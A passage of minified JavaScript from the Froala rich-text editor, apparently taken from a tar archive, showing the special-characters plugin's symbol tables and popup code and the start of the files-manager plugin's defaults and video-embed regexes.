LETTER UPSILON"},{"char":"φ",desc:"GREEK SMALL LETTER PHI"},{"char":"χ",desc:"GREEK SMALL LETTER CHI"},{"char":"ψ",desc:"GREEK SMALL LETTER PSI"},{"char":"ω",desc:"GREEK SMALL LETTER OMEGA"},{"char":"ϑ",desc:"GREEK THETA SYMBOL"},{"char":"ϒ",desc:"GREEK UPSILON WITH HOOK SYMBOL"},{"char":"ϕ",desc:"GREEK PHI SYMBOL"},{"char":"ϖ",desc:"GREEK PI SYMBOL"},{"char":"Ϝ",desc:"GREEK LETTER DIGAMMA"},{"char":"ϝ",desc:"GREEK SMALL LETTER DIGAMMA"},{"char":"ϰ",desc:"GREEK KAPPA SYMBOL"},{"char":"ϱ",desc:"GREEK RHO SYMBOL"},{"char":"ϵ",desc:"GREEK LUNATE EPSILON SYMBOL"},{"char":"϶",desc:"GREEK REVERSED LUNATE EPSILON SYMBOL"}]},{title:"Cyrillic","char":"Ѐ",list:[{"char":"Ѐ",desc:"CYRILLIC CAPITAL LETTER IE WITH GRAVE"},{"char":"Ё",desc:"CYRILLIC CAPITAL LETTER IO"},{"char":"Ђ",desc:"CYRILLIC CAPITAL LETTER DJE"},{"char":"Ѓ",desc:"CYRILLIC CAPITAL LETTER GJE"},{"char":"Є",desc:"CYRILLIC CAPITAL LETTER UKRAINIAN IE"},{"char":"Ѕ",desc:"CYRILLIC CAPITAL LETTER DZE"},{"char":"І",desc:"CYRILLIC CAPITAL LETTER BYELORUSSIAN-UKRAINIAN I"},{"char":"Ї",desc:"CYRILLIC CAPITAL LETTER YI"},{"char":"Ј",desc:"CYRILLIC CAPITAL LETTER JE"},{"char":"Љ",desc:"CYRILLIC CAPITAL LETTER LJE"},{"char":"Њ",desc:"CYRILLIC CAPITAL LETTER NJE"},{"char":"Ћ",desc:"CYRILLIC CAPITAL LETTER TSHE"},{"char":"Ќ",desc:"CYRILLIC CAPITAL LETTER KJE"},{"char":"Ѝ",desc:"CYRILLIC CAPITAL LETTER I WITH GRAVE"},{"char":"Ў",desc:"CYRILLIC CAPITAL LETTER SHORT U"},{"char":"Џ",desc:"CYRILLIC CAPITAL LETTER DZHE"},{"char":"А",desc:"CYRILLIC CAPITAL LETTER A"},{"char":"Б",desc:"CYRILLIC CAPITAL LETTER BE"},{"char":"В",desc:"CYRILLIC CAPITAL LETTER VE"},{"char":"Г",desc:"CYRILLIC CAPITAL LETTER GHE"},{"char":"Д",desc:"CYRILLIC CAPITAL LETTER DE"},{"char":"Е",desc:"CYRILLIC CAPITAL LETTER IE"},{"char":"Ж",desc:"CYRILLIC CAPITAL LETTER ZHE"},{"char":"З",desc:"CYRILLIC CAPITAL LETTER ZE"},{"char":"И",desc:"CYRILLIC CAPITAL LETTER I"},{"char":"Й",desc:"CYRILLIC CAPITAL LETTER SHORT I"},{"char":"К",desc:"CYRILLIC CAPITAL LETTER KA"},{"char":"Л",desc:"CYRILLIC CAPITAL LETTER EL"},{"char":"М",desc:"CYRILLIC CAPITAL LETTER EM"},{"char":"Н",desc:"CYRILLIC CAPITAL LETTER EN"},{"char":"О",desc:"CYRILLIC CAPITAL LETTER O"},{"char":"П",desc:"CYRILLIC CAPITAL LETTER PE"},{"char":"Р",desc:"CYRILLIC CAPITAL LETTER ER"},{"char":"С",desc:"CYRILLIC CAPITAL LETTER ES"},{"char":"Т",desc:"CYRILLIC CAPITAL LETTER TE"},{"char":"У",desc:"CYRILLIC CAPITAL LETTER U"},{"char":"Ф",desc:"CYRILLIC CAPITAL LETTER EF"},{"char":"Х",desc:"CYRILLIC CAPITAL LETTER HA"},{"char":"Ц",desc:"CYRILLIC CAPITAL LETTER TSE"},{"char":"Ч",desc:"CYRILLIC CAPITAL LETTER CHE"},{"char":"Ш",desc:"CYRILLIC CAPITAL LETTER SHA"},{"char":"Щ",desc:"CYRILLIC CAPITAL LETTER SHCHA"},{"char":"Ъ",desc:"CYRILLIC CAPITAL LETTER HARD SIGN"},{"char":"Ы",desc:"CYRILLIC CAPITAL LETTER YERU"},{"char":"Ь",desc:"CYRILLIC CAPITAL LETTER SOFT SIGN"},{"char":"Э",desc:"CYRILLIC CAPITAL LETTER E"},{"char":"Ю",desc:"CYRILLIC CAPITAL LETTER YU"},{"char":"Я",desc:"CYRILLIC CAPITAL LETTER YA"},{"char":"а",desc:"CYRILLIC SMALL LETTER A"},{"char":"б",desc:"CYRILLIC SMALL LETTER BE"},{"char":"в",desc:"CYRILLIC SMALL LETTER VE"},{"char":"г",desc:"CYRILLIC SMALL LETTER GHE"},{"char":"д",desc:"CYRILLIC SMALL LETTER DE"},{"char":"е",desc:"CYRILLIC SMALL LETTER IE"},{"char":"ж",desc:"CYRILLIC SMALL LETTER ZHE"},{"char":"з",desc:"CYRILLIC SMALL LETTER ZE"},{"char":"и",desc:"CYRILLIC SMALL LETTER I"},{"char":"й",desc:"CYRILLIC SMALL LETTER SHORT I"},{"char":"к",desc:"CYRILLIC SMALL LETTER KA"},{"char":"л",desc:"CYRILLIC SMALL LETTER EL"},{"char":"м",desc:"CYRILLIC SMALL LETTER EM"},{"char":"н",desc:"CYRILLIC SMALL LETTER EN"},{"char":"о",desc:"CYRILLIC SMALL LETTER O"},{"char":"п",desc:"CYRILLIC SMALL LETTER PE"},{"char":"р",desc:"CYRILLIC SMALL LETTER ER"},{"char":"с",desc:"CYRILLIC SMALL LETTER ES"},{"char":"т",desc:"CYRILLIC SMALL LETTER TE"},{"char":"у",desc:"CYRILLIC SMALL LETTER U"},{"char":"ф",desc:"CYRILLIC SMALL LETTER EF"},{"char":"х",desc:"CYRILLIC SMALL LETTER HA"},{"char":"ц",desc:"CYRILLIC SMALL LETTER TSE"},{"char":"ч",desc:"CYRILLIC SMALL LETTER CHE"},{"char":"ш",desc:"CYRILLIC SMALL LETTER SHA"},{"char":"щ",desc:"CYRILLIC SMALL LETTER SHCHA"},{"char":"ъ",desc:"CYRILLIC SMALL LETTER HARD SIGN"},{"char":"ы",desc:"CYRILLIC SMALL LETTER YERU"},{"char":"ь",desc:"CYRILLIC SMALL LETTER SOFT SIGN"},{"char":"э",desc:"CYRILLIC SMALL LETTER E"},{"char":"ю",desc:"CYRILLIC SMALL LETTER YU"},{"char":"я",desc:"CYRILLIC SMALL LETTER YA"},{"char":"ѐ",desc:"CYRILLIC SMALL LETTER IE WITH GRAVE"},{"char":"ё",desc:"CYRILLIC SMALL LETTER IO"},{"char":"ђ",desc:"CYRILLIC SMALL LETTER DJE"},{"char":"ѓ",desc:"CYRILLIC SMALL LETTER GJE"},{"char":"є",desc:"CYRILLIC SMALL LETTER UKRAINIAN IE"},{"char":"ѕ",desc:"CYRILLIC SMALL LETTER DZE"},{"char":"і",desc:"CYRILLIC SMALL LETTER BYELORUSSIAN-UKRAINIAN I"},{"char":"ї",desc:"CYRILLIC SMALL LETTER YI"},{"char":"ј",desc:"CYRILLIC SMALL LETTER JE"},{"char":"љ",desc:"CYRILLIC SMALL LETTER LJE"},{"char":"њ",desc:"CYRILLIC SMALL LETTER NJE"},{"char":"ћ",desc:"CYRILLIC SMALL LETTER TSHE"},{"char":"ќ",desc:"CYRILLIC SMALL LETTER KJE"},{"char":"ѝ",desc:"CYRILLIC SMALL LETTER I WITH GRAVE"},{"char":"ў",desc:"CYRILLIC SMALL LETTER SHORT U"},{"char":"џ",desc:"CYRILLIC SMALL LETTER DZHE"}]},{title:"Punctuation","char":"–",list:[{"char":"–",desc:"EN DASH"},{"char":"—",desc:"EM DASH"},{"char":"‘",desc:"LEFT SINGLE QUOTATION MARK"},{"char":"’",desc:"RIGHT SINGLE QUOTATION MARK"},{"char":"‚",desc:"SINGLE LOW-9 QUOTATION MARK"},{"char":"“",desc:"LEFT DOUBLE QUOTATION MARK"},{"char":"”",desc:"RIGHT DOUBLE QUOTATION MARK"},{"char":"„",desc:"DOUBLE LOW-9 QUOTATION MARK"},{"char":"†",desc:"DAGGER"},{"char":"‡",desc:"DOUBLE DAGGER"},{"char":"•",desc:"BULLET"},{"char":"…",desc:"HORIZONTAL ELLIPSIS"},{"char":"‰",desc:"PER MILLE SIGN"},{"char":"′",desc:"PRIME"},{"char":"″",desc:"DOUBLE PRIME"},{"char":"‹",desc:"SINGLE LEFT-POINTING ANGLE QUOTATION MARK"},{"char":"›",desc:"SINGLE RIGHT-POINTING ANGLE QUOTATION MARK"},{"char":"‾",desc:"OVERLINE"},{"char":"⁄",desc:"FRACTION SLASH"}]},{title:"Currency","char":"₠",list:[{"char":"₠",desc:"EURO-CURRENCY SIGN"},{"char":"₡",desc:"COLON SIGN"},{"char":"₢",desc:"CRUZEIRO SIGN"},{"char":"₣",desc:"FRENCH FRANC SIGN"},{"char":"₤",desc:"LIRA SIGN"},{"char":"₥",desc:"MILL SIGN"},{"char":"₦",desc:"NAIRA SIGN"},{"char":"₧",desc:"PESETA SIGN"},{"char":"₨",desc:"RUPEE SIGN"},{"char":"₩",desc:"WON SIGN"},{"char":"₪",desc:"NEW SHEQEL SIGN"},{"char":"₫",desc:"DONG SIGN"},{"char":"€",desc:"EURO SIGN"},{"char":"₭",desc:"KIP SIGN"},{"char":"₮",desc:"TUGRIK SIGN"},{"char":"₯",desc:"DRACHMA SIGN"},{"char":"₰",desc:"GERMAN PENNY SYMBOL"},{"char":"₱",desc:"PESO SIGN"},{"char":"₲",desc:"GUARANI SIGN"},{"char":"₳",desc:"AUSTRAL SIGN"},{"char":"₴",desc:"HRYVNIA SIGN"},{"char":"₵",desc:"CEDI SIGN"},{"char":"₶",desc:"LIVRE TOURNOIS SIGN"},{"char":"₷",desc:"SPESMILO SIGN"},{"char":"₸",desc:"TENGE SIGN"},{"char":"₹",desc:"INDIAN RUPEE SIGN"}]},{title:"Arrows","char":"←",list:[{"char":"←",desc:"LEFTWARDS ARROW"},{"char":"↑",desc:"UPWARDS ARROW"},{"char":"→",desc:"RIGHTWARDS ARROW"},{"char":"↓",desc:"DOWNWARDS ARROW"},{"char":"↔",desc:"LEFT RIGHT ARROW"},{"char":"↕",desc:"UP DOWN ARROW"},{"char":"↖",desc:"NORTH WEST ARROW"},{"char":"↗",desc:"NORTH EAST ARROW"},{"char":"↘",desc:"SOUTH EAST ARROW"},{"char":"↙",desc:"SOUTH WEST ARROW"},{"char":"↚",desc:"LEFTWARDS ARROW WITH STROKE"},{"char":"↛",desc:"RIGHTWARDS ARROW WITH STROKE"},{"char":"↜",desc:"LEFTWARDS WAVE ARROW"},{"char":"↝",desc:"RIGHTWARDS WAVE ARROW"},{"char":"↞",desc:"LEFTWARDS TWO HEADED ARROW"},{"char":"↟",desc:"UPWARDS TWO HEADED ARROW"},{"char":"↠",desc:"RIGHTWARDS TWO HEADED ARROW"},{"char":"↡",desc:"DOWNWARDS TWO HEADED ARROW"},{"char":"↢",desc:"LEFTWARDS ARROW WITH TAIL"},{"char":"↣",desc:"RIGHTWARDS ARROW WITH TAIL"},{"char":"↤",desc:"LEFTWARDS ARROW FROM BAR"},{"char":"↥",desc:"UPWARDS ARROW FROM BAR"},{"char":"↦",desc:"RIGHTWARDS ARROW FROM BAR"},{"char":"↧",desc:"DOWNWARDS ARROW FROM BAR"},{"char":"↨",desc:"UP DOWN ARROW WITH BASE"},{"char":"↩",desc:"LEFTWARDS ARROW WITH HOOK"},{"char":"↪",desc:"RIGHTWARDS ARROW WITH HOOK"},{"char":"↫",desc:"LEFTWARDS ARROW WITH LOOP"},{"char":"↬",desc:"RIGHTWARDS ARROW WITH LOOP"},{"char":"↭",desc:"LEFT RIGHT WAVE ARROW"},{"char":"↮",desc:"LEFT RIGHT ARROW WITH STROKE"},{"char":"↯",desc:"DOWNWARDS ZIGZAG ARROW"},{"char":"↰",desc:"UPWARDS ARROW WITH TIP LEFTWARDS"},{"char":"↱",desc:"UPWARDS ARROW WITH TIP RIGHTWARDS"},{"char":"↲",desc:"DOWNWARDS ARROW WITH TIP LEFTWARDS"},{"char":"↳",desc:"DOWNWARDS ARROW WITH TIP RIGHTWARDS"},{"char":"↴",desc:"RIGHTWARDS ARROW WITH CORNER DOWNWARDS"},{"char":"↵",desc:"DOWNWARDS ARROW WITH CORNER LEFTWARDS"},{"char":"↶",desc:"ANTICLOCKWISE TOP SEMICIRCLE ARROW"},{"char":"↷",desc:"CLOCKWISE TOP SEMICIRCLE ARROW"},{"char":"↸",desc:"NORTH WEST ARROW TO LONG BAR"},{"char":"↹",desc:"LEFTWARDS ARROW TO BAR OVER RIGHTWARDS ARROW TO BAR"},{"char":"↺",desc:"ANTICLOCKWISE OPEN CIRCLE ARROW"},{"char":"↻",desc:"CLOCKWISE OPEN CIRCLE ARROW"},{"char":"↼",desc:"LEFTWARDS HARPOON WITH BARB UPWARDS"},{"char":"↽",desc:"LEFTWARDS HARPOON WITH BARB DOWNWARDS"},{"char":"↾",desc:"UPWARDS HARPOON WITH BARB RIGHTWARDS"},{"char":"↿",desc:"UPWARDS HARPOON WITH BARB LEFTWARDS"},{"char":"⇀",desc:"RIGHTWARDS HARPOON WITH BARB UPWARDS"},{"char":"⇁",desc:"RIGHTWARDS HARPOON WITH BARB DOWNWARDS"},{"char":"⇂",desc:"DOWNWARDS HARPOON WITH BARB RIGHTWARDS"},{"char":"⇃",desc:"DOWNWARDS HARPOON WITH BARB LEFTWARDS"},{"char":"⇄",desc:"RIGHTWARDS ARROW OVER LEFTWARDS ARROW"},{"char":"⇅",desc:"UPWARDS ARROW LEFTWARDS OF DOWNWARDS ARROW"},{"char":"⇆",desc:"LEFTWARDS ARROW OVER RIGHTWARDS ARROW"},{"char":"⇇",desc:"LEFTWARDS PAIRED ARROWS"},{"char":"⇈",desc:"UPWARDS PAIRED ARROWS"},{"char":"⇉",desc:"RIGHTWARDS PAIRED ARROWS"},{"char":"⇊",desc:"DOWNWARDS PAIRED ARROWS"},{"char":"⇋",desc:"LEFTWARDS HARPOON OVER RIGHTWARDS HARPOON"},{"char":"⇌",desc:"RIGHTWARDS HARPOON OVER LEFTWARDS HARPOON"},{"char":"⇍",desc:"LEFTWARDS DOUBLE ARROW WITH STROKE"},{"char":"⇎",desc:"LEFT RIGHT DOUBLE ARROW WITH STROKE"},{"char":"⇏",desc:"RIGHTWARDS DOUBLE ARROW WITH STROKE"},{"char":"⇐",desc:"LEFTWARDS DOUBLE ARROW"},{"char":"⇑",desc:"UPWARDS DOUBLE ARROW"},{"char":"⇒",desc:"RIGHTWARDS DOUBLE ARROW"},{"char":"⇓",desc:"DOWNWARDS DOUBLE ARROW"},{"char":"⇔",desc:"LEFT RIGHT DOUBLE ARROW"},{"char":"⇕",desc:"UP DOWN DOUBLE ARROW"},{"char":"⇖",desc:"NORTH WEST DOUBLE ARROW"},{"char":"⇗",desc:"NORTH EAST DOUBLE ARROW"},{"char":"⇘",desc:"SOUTH EAST DOUBLE ARROW"},{"char":"⇙",desc:"SOUTH WEST DOUBLE ARROW"},{"char":"⇚",desc:"LEFTWARDS TRIPLE ARROW"},{"char":"⇛",desc:"RIGHTWARDS TRIPLE ARROW"},{"char":"⇜",desc:"LEFTWARDS SQUIGGLE ARROW"},{"char":"⇝",desc:"RIGHTWARDS SQUIGGLE ARROW"},{"char":"⇞",desc:"UPWARDS ARROW WITH DOUBLE STROKE"},{"char":"⇟",desc:"DOWNWARDS ARROW WITH DOUBLE STROKE"},{"char":"⇠",desc:"LEFTWARDS DASHED ARROW"},{"char":"⇡",desc:"UPWARDS DASHED ARROW"},{"char":"⇢",desc:"RIGHTWARDS DASHED ARROW"},{"char":"⇣",desc:"DOWNWARDS DASHED ARROW"},{"char":"⇤",desc:"LEFTWARDS ARROW TO BAR"},{"char":"⇥",desc:"RIGHTWARDS ARROW TO BAR"},{"char":"⇦",desc:"LEFTWARDS WHITE ARROW"},{"char":"⇧",desc:"UPWARDS WHITE ARROW"},{"char":"⇨",desc:"RIGHTWARDS WHITE ARROW"},{"char":"⇩",desc:"DOWNWARDS WHITE ARROW"},{"char":"⇪",desc:"UPWARDS WHITE ARROW FROM BAR"},{"char":"⇫",desc:"UPWARDS WHITE ARROW ON PEDESTAL"},{"char":"⇬",desc:"UPWARDS WHITE ARROW ON PEDESTAL WITH HORIZONTAL BAR"},{"char":"⇭",desc:"UPWARDS WHITE ARROW ON PEDESTAL WITH VERTICAL BAR"},{"char":"⇮",desc:"UPWARDS WHITE DOUBLE ARROW"},{"char":"⇯",desc:"UPWARDS WHITE DOUBLE ARROW ON PEDESTAL"},{"char":"⇰",desc:"RIGHTWARDS WHITE ARROW FROM WALL"},{"char":"⇱",desc:"NORTH WEST ARROW TO CORNER"},{"char":"⇲",desc:"SOUTH EAST ARROW TO CORNER"},{"char":"⇳",desc:"UP DOWN WHITE ARROW"},{"char":"⇴",desc:"RIGHT ARROW WITH SMALL CIRCLE"},{"char":"⇵",desc:"DOWNWARDS ARROW LEFTWARDS OF UPWARDS ARROW"},{"char":"⇶",desc:"THREE RIGHTWARDS ARROWS"},{"char":"⇷",desc:"LEFTWARDS ARROW WITH VERTICAL STROKE"},{"char":"⇸",desc:"RIGHTWARDS ARROW WITH VERTICAL STROKE"},{"char":"⇹",desc:"LEFT RIGHT ARROW WITH VERTICAL STROKE"},{"char":"⇺",desc:"LEFTWARDS ARROW WITH DOUBLE VERTICAL STROKE"},{"char":"⇻",desc:"RIGHTWARDS ARROW WITH DOUBLE VERTICAL STROKE"},{"char":"⇼",desc:"LEFT RIGHT ARROW WITH DOUBLE VERTICAL STROKE"},{"char":"⇽",desc:"LEFTWARDS OPEN-HEADED ARROW"},{"char":"⇾",desc:"RIGHTWARDS OPEN-HEADED ARROW"},{"char":"⇿",desc:"LEFT RIGHT OPEN-HEADED ARROW"}]},{title:"Math","char":"∀",list:[{"char":"∀",desc:"FOR ALL"},{"char":"∂",desc:"PARTIAL DIFFERENTIAL"},{"char":"∃",desc:"THERE EXISTS"},{"char":"∅",desc:"EMPTY SET"},{"char":"∇",desc:"NABLA"},{"char":"∈",desc:"ELEMENT OF"},{"char":"∉",desc:"NOT AN ELEMENT OF"},{"char":"∋",desc:"CONTAINS AS MEMBER"},{"char":"∏",desc:"N-ARY PRODUCT"},{"char":"∑",desc:"N-ARY SUMMATION"},{"char":"−",desc:"MINUS SIGN"},{"char":"∗",desc:"ASTERISK OPERATOR"},{"char":"√",desc:"SQUARE ROOT"},{"char":"∝",desc:"PROPORTIONAL TO"},{"char":"∞",desc:"INFINITY"},{"char":"∠",desc:"ANGLE"},{"char":"∧",desc:"LOGICAL AND"},{"char":"∨",desc:"LOGICAL OR"},{"char":"∩",desc:"INTERSECTION"},{"char":"∪",desc:"UNION"},{"char":"∫",desc:"INTEGRAL"},{"char":"∴",desc:"THEREFORE"},{"char":"∼",desc:"TILDE OPERATOR"},{"char":"≅",desc:"APPROXIMATELY EQUAL TO"},{"char":"≈",desc:"ALMOST EQUAL TO"},{"char":"≠",desc:"NOT EQUAL TO"},{"char":"≡",desc:"IDENTICAL TO"},{"char":"≤",desc:"LESS-THAN OR EQUAL TO"},{"char":"≥",desc:"GREATER-THAN OR EQUAL TO"},{"char":"⊂",desc:"SUBSET OF"},{"char":"⊃",desc:"SUPERSET OF"},{"char":"⊄",desc:"NOT A SUBSET OF"},{"char":"⊆",desc:"SUBSET OF OR EQUAL TO"},{"char":"⊇",desc:"SUPERSET OF OR EQUAL TO"},{"char":"⊕",desc:"CIRCLED PLUS"},{"char":"⊗",desc:"CIRCLED TIMES"},{"char":"⊥",desc:"UP TACK"}]},{title:"Misc","char":"♠",list:[{"char":"♠",desc:"BLACK SPADE SUIT"},{"char":"♣",desc:"BLACK CLUB SUIT"},{"char":"♥",desc:"BLACK HEART SUIT"},{"char":"♦",desc:"BLACK DIAMOND SUIT"},{"char":"♩",desc:"QUARTER NOTE"},{"char":"♪",desc:"EIGHTH NOTE"},{"char":"♫",desc:"BEAMED EIGHTH NOTES"},{"char":"♬",desc:"BEAMED SIXTEENTH NOTES"},{"char":"♭",desc:"MUSIC FLAT SIGN"},{"char":"♮",desc:"MUSIC NATURAL SIGN"},{"char":"☀",desc:"BLACK SUN WITH RAYS"},{"char":"☁",desc:"CLOUD"},{"char":"☂",desc:"UMBRELLA"},{"char":"☃",desc:"SNOWMAN"},{"char":"☕",desc:"HOT BEVERAGE"},{"char":"☘",desc:"SHAMROCK"},{"char":"☯",desc:"YIN YANG"},{"char":"✔",desc:"HEAVY CHECK MARK"},{"char":"✖",desc:"HEAVY MULTIPLICATION X"},{"char":"❄",desc:"SNOWFLAKE"},{"char":"❛",desc:"HEAVY SINGLE TURNED COMMA QUOTATION MARK ORNAMENT"},{"char":"❜",desc:"HEAVY SINGLE COMMA QUOTATION MARK ORNAMENT"},{"char":"❝",desc:"HEAVY DOUBLE TURNED COMMA QUOTATION MARK ORNAMENT"},{"char":"❞",desc:"HEAVY DOUBLE COMMA QUOTATION MARK ORNAMENT"},{"char":"❤",desc:"HEAVY BLACK HEART"}]}],specialCharButtons:["specialCharBack","|"]}),Object.assign(H.POPUP_TEMPLATES,{specialCharacters:"[_BUTTONS_][_CUSTOM_LAYER_]"}),H.PLUGINS.specialCharacters=function(D){var i=D.$,c=D.opts.specialCharactersSets,L=D.opts.specialCharactersSets[0],a="";function I(){return'\n <div class="fr-buttons fr-tabs fr-tabs-scroll">\n '.concat(function E(c,T){var R="";return c.forEach(function(c){var E={elementClass:c.title===T.title?"fr-active fr-active-tab":"",title:c.title,dataParam1:c.title,desc:c["char"]};R+='<button class="fr-command fr-btn fr-special-character-category '.concat(E.elementClass,'" title="').concat(E.title,'" data-cmd="setSpecialCharacterCategory" data-param1="').concat(E.dataParam1,'"><span>').concat(E.desc,"</span></button>")}),R}(c,L),'\n </div>\n <div class="fr-icon-container fr-sc-container" style="outline: none;">\n ').concat(function R(c){var T="";return c.list.forEach(function(c){var E={dataParam1:c["char"],title:c.desc,splCharValue:c["char"]};T+='<span class="fr-command fr-special-character fr-icon" role="button" \n data-cmd="insertSpecialCharacter" data-param1="'.concat(E.dataParam1,'" tabindex="0"\n title="').concat(E.title,'">').concat(E.splCharValue,"</span>")}),T}(L),"\n </div>")}return{setSpecialCharacterCategory:function R(E){L=c.filter(function(c){return c.title===E})[0],function T(){D.popups.get("specialCharacters").html(a+I());var c=D.popups.get("specialCharacters").children().not(".fr-buttons");D.accessibility.registerPopup("specialCharacters"),D.accessibility.focusContent(c)}()},showSpecialCharsPopup:function e(){var c=D.popups.get("specialCharacters");if(c||(c=function A(){D.opts.toolbarInline&&0<D.opts.specialCharButtons.length&&(a='<div class="fr-buttons fr-tabs">'.concat(D.button.buildList(D.opts.specialCharButtons),"</div>"));var c={buttons:a,custom_layer:I()},E=D.popups.create("specialCharacters",c);return function T(N){D.events.on("popup.tab",function(c){var E=i(c.currentTarget);if(!D.popups.isVisible("specialCharacters")||!E.is("span, a"))return!0;var T,R,L,A=c.which,a=window.getComputedStyle(N.find(".fr-icon-container")[0]),I=a.getPropertyValue("grid-template-columns").split(" ").length;if(H.KEYCODE.TAB==A){var e=N.find("span.fr-special-character");if(E.is(e.first())&&c.shiftKey||E.is(e.last())&&!c.shiftKey){var r=N.find(".fr-buttons");T=!D.accessibility.focusToolbar(r,!!c.shiftKey)}if(!1!==T){var s=N.find("span.fr-special-character");s.add(N.find("button.fr-btn")),R=s.index(E),R=c.shiftKey?((R-1)%s.length+s.length)%s.length:(R+1)%s.length,L=s.get(R),D.events.disableBlur(),L.focus(),T=!1}}else if(H.KEYCODE.ARROW_UP==A||H.KEYCODE.ARROW_DOWN==A||H.KEYCODE.ARROW_LEFT==A||H.KEYCODE.ARROW_RIGHT==A){if(E.is("span.fr-icon")){var h=E.parent().find("span.fr-icon");R=h.index(E);var d=I,C=Math.ceil(h.length/d),O=R%d,S=Math.floor(R/d),W=S*d+O,t=C*d;H.KEYCODE.ARROW_UP==A?W=((W-d)%t+t)%t:H.KEYCODE.ARROW_DOWN==A?W=(W+d)%t:H.KEYCODE.ARROW_LEFT==A?W=((W-1)%t+t)%t:H.KEYCODE.ARROW_RIGHT==A&&(W=(W+1)%t),L=i(h.get(W)),D.events.disableBlur(),L.focus(),T=!1}}else H.KEYCODE.ENTER==A&&(E.is("a")?E[0].click():D.button.exec(E),T=!1);return!1===T&&(c.preventDefault(),c.stopPropagation()),T},!0)}(E),E}()),!c.hasClass("fr-active")){D.popups.refresh("specialCharacters"),D.popups.setContainer("specialCharacters",D.$tb);var E=D.$tb.find('.fr-command[data-cmd="specialCharacters"]'),T=D.button.getPosition(E),R=T.left,L=T.top;D.popups.show("specialCharacters",R,L,outerHeight)}},back:function E(){D.popups.hide("specialCharacters"),D.toolbar.showInline()}}},H.DefineIcon("specialCharacters",{NAME:"dollar-sign",SVG_KEY:"symbols"}),H.RegisterCommand("specialCharacters",{title:"Special Characters",icon:"specialCharacters",undo:!1,focus:!1,popup:!0,refreshAfterCallback:!1,plugin:"specialCharacters",showOnMobile:!0,callback:function(){this.popups.isVisible("specialCharacters")?(this.$el.find(".fr-marker")&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("specialCharacters")):this.specialCharacters.showSpecialCharsPopup()}}),H.RegisterCommand("insertSpecialCharacter",{callback:function(c,E){this.undo.saveStep(),this.html.insert(E),this.undo.saveStep(),this.popups.hide("specialCharacters")}}),H.RegisterCommand("setSpecialCharacterCategory",{undo:!1,focus:!1,callback:function(c,E){this.specialCharacters.setSpecialCharacterCategory(E)}}),H.DefineIcon("specialCharBack",{NAME:"arrow-left",SVG_KEY:"back"}),H.RegisterCommand("specialCharBack",{title:"Back",undo:!1,focus:!1,back:!0,refreshAfterCallback:!1,callback:function(){this.specialCharacters.back()}})}); plugins/files_manager.min.js 0000674 00000272372 00000000000 0012122 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(It){"use strict";function Lt(e){return(Lt="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}It=It&&It.hasOwnProperty("default")?It["default"]:It,Object.assign(It.POPUP_TEMPLATES,{"filesManager.insert":"[_BUTTONS_][_UPLOAD_LAYER_][_BY_URL_LAYER_][_EMBED_LAYER_][_UPLOAD_PROGRESS_LAYER_][_PROGRESS_BAR_]","image.edit":"[_BUTTONS_]","image.alt":"[_BUTTONS_][_ALT_LAYER_]","image.size":"[_BUTTONS_][_SIZE_LAYER_]"}),Object.assign(It.DEFAULTS,{filesInsertButtons:["imageBack","|","filesUpload","filesByURL","filesEmbed"],filesInsertButtons2:["deleteAll","insertAll","cancel","minimize"],imageEditButtons:["imageReplace","imageAlign","imageCaption","imageRemove","imageLink","linkOpen","linkEdit","linkRemove","-","imageDisplay","imageStyle","imageAlt","imageSize"],imageAltButtons:["imageBack","|"],imageSizeButtons:["imageBack","|"],imageUpload:!0,filesManagerUploadURL:null,imageCORSProxy:"https://cors-anywhere.froala.com",imageUploadRemoteUrls:!0,filesManagerUploadParam:"file",filesManagerUploadParams:{},googleOptions:{},filesManagerUploadToS3:!1,filesManagerUploadToAzure:!1,filesManagerUploadMethod:"POST",filesManagerMaxSize:10485760,filesManagerAllowedTypes:["*"],imageResize:!0,imageResizeWithPercent:!1,imageRoundPercent:!1,imageDefaultWidth:300,imageDefaultAlign:"center",imageDefaultDisplay:"block",imageSplitHTML:!1,imageStyles:{"fr-rounded":"Rounded","fr-bordered":"Bordered","fr-shadow":"Shadow"},imageMove:!0,imageMultipleStyles:!0,imageTextNear:!0,imagePaste:!0,imagePasteProcess:!1,imageMinWidth:16,imageOutputSize:!1,imageDefaultMargin:5,imageAddNewLine:!1}),It.VIDEO_PROVIDERS=[{test_regex:/^.*((youtu.be)|(youtube.com))\/((v\/)|(\/u\/\w\/)|(embed\/)|(watch\?))?\??v?=?([^#\&\?]*).*/,url_regex:/(?:https?:\/\/)?(?:www\.)?(?:m\.)?(?:youtube\.com|youtu\.be)\/(?:watch\?v=|embed\/)?([0-9a-zA-Z_\-]+)(.+)?/g,url_text:"https://www.youtube.com/embed/$1?$2",html:'<iframe width="640" height="360" src="{url}&wmode=opaque" frameborder="0" allowfullscreen></iframe>',provider:"youtube"},{test_regex:/^.*(?:vimeo.com)\/(?:channels(\/\w+\/)?|groups\/*\/videos\/\u200b\d+\/|video\/|)(\d+)(?:$|\/|\?)/,url_regex:/(?:https?:\/\/)?(?:www\.|player\.)?vimeo.com\/(?:channels\/(?:\w+\/)?|groups\/(?:[^\/]*)\/videos\/|album\/(?:\d+)\/video\/|video\/|)(\d+)(?:[a-zA-Z0-9_\-]+)?(\/[a-zA-Z0-9_\-]+)?/i,url_text:"https://player.vimeo.com/video/$1",html:'<iframe width="640" height="360" src="{url}" frameborder="0" allowfullscreen></iframe>',provider:"vimeo"},{test_regex:/^.+(dailymotion.com|dai.ly)\/(video|hub)?\/?([^_]+)[^#]*(#video=([^_&]+))?/,url_regex:/(?:https?:\/\/)?(?:www\.)?(?:dailymotion\.com|dai\.ly)\/(?:video|hub)?\/?(.+)/g,url_text:"https://www.dailymotion.com/embed/video/$1",html:'<iframe width="640" height="360" src="{url}" frameborder="0" allowfullscreen></iframe>',provider:"dailymotion"},{test_regex:/^.+(screen.yahoo.com)\/[^_&]+/,url_regex:"",url_text:"",html:'<iframe width="640" height="360" src="{url}?format=embed" frameborder="0" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true" 